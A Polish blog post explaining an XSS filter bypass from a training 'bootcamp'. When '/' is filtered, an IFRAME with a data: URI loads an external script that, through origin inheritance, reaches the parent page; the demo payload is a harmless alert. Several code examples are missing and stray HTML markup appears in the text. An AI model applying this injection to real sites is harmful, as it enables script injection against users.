Wykorzystanie data: do wstawienia skryptu

Nadrabiający zaległości w przykładach z bootcamp Krzysiek Kotowicz zaproponował bardzo ciekawe rozwiązanie zadania polegającego na wstawieniu skryptu z zewnętrznej strony, a właściwie interesujący jego wariant.

Na czym polega pomysł

Cała trudność tego zadania wynika z faktu, że aplikacja specjalnie traktuje znak /, przez co nie można wstawić skryptu w sposób tradycyjny przez konstrukcję typu:

Nie można, bo konieczne jest zamknięcie tagu, a jest to dość trudne, jeśli znak / jest przez aplikację w jakiś sposób pomijany. Oczywiście można rozważać tu przypadki szczególne, gdy w dalszej części strony znajduje się inny tag zamykający, wówczas przeglądarka może go “dopasować” do wstawionego tagu otwierającego i całość może zadziałać.

Pomysł, który wysunął Krzysiek opiera się na wykorzystaniu URI data. Od razu na wstępie trzeba zaznaczyć, że nie jest on obsługiwany przez wszystkie przeglądarki. Na przykład IE 8 obsługuje go tylko w niektórych kontekstach, co akurat może nie jest takim złym pomysłem. Drugim ciekawym elementem pomysłu było wykorzystanie tagu IFRAME a nie SCRIPT. Choć IFRAME również powinien być zamknięty, przeglądarki traktują go nieco mniej restrykcyjnie, niż SCRIPT. W rezultacie może zadziałać konstrukcja:

</p> <p>Można to zweryfikować w tym przykładzie: <a href="http://bootcamp.threats.pl/lesson09/">http://bootcamp.threats.pl/lesson09/</a>, oczywiście korzystając z odpowiedniej przeglądarki.</p> <p>W normalnym przypadku strona wstawiona przez IFRAME może mieć ograniczoną możliwość interakcji z pozostałymi elementami dokumentu, a to z uwagi na <a href="http://en.wikipedia.org/wiki/Same_origin_policy">same origin policy</a>, ale URI data: jest traktowany w sposób specjalny, patrz <a href="http://code.google.com/p/browsersec/wiki/Part2#Origin_inheritance_rules">Origin inheritance rules</a>.</p> <h3 id="przykład-dla-lepszego-zrozumienia">Przykład dla lepszego zrozumienia</h3> <p>Może dla lepszego wyjaśnienia krótki przykład. Umieściłem dwa pliki pod adresami:</p> <ul> <li>//static.mroczna-zaloga.org/pdw.html</li> <li>//static.mroczna-zaloga.org/pdw.js</li> </ul> <p>Zawartość tych plików jest nader prymitywna:</p> <p> pdw.html:</p> <p> <script src="pwd.js"></script></p> <p> pdw:js:</p> <p> alert(window.parent.document.title);</p> <p>Wykorzystując wspomniany wcześniej przykład <a href="http://bootcamp.threats.pl/lesson09/">http://bootcamp.threats.pl/lesson09/</a> można sprawdzić zachowanie dla następującej wartości:</p> <p> <iframe src="//static.mroczna-zaloga.org/pdw.html">

Rezultat w Firefox wygląda następująco:

Zgodnie z oczekiwaniami zadziałało same origin policy i skrypt z IFRAME nie uzyskał dostępu do “zewnętrznego” dokumentu.

Nieco inaczej wygląda sytuacja, gdy fragment:

zostanie wstawiony za pomocą data, czyli w następujący sposób:

Tym razem akcja kończy się powodzeniem:

Jak widać w tym przypadku zewnętrzny skrypt wstawiony przez IFRAME uzyskał dostęp do dokumentu “głównego”, a wynika to ze sposobu traktowania URI data. Może ograniczenie data: w IE8 tylko do niektórych kontekstów nie jest złym pomysłem?

Oryginał tego wpisu dostępny jest pod adresem Wykorzystanie data: do wstawienia skryptu

Autor: Paweł Goleń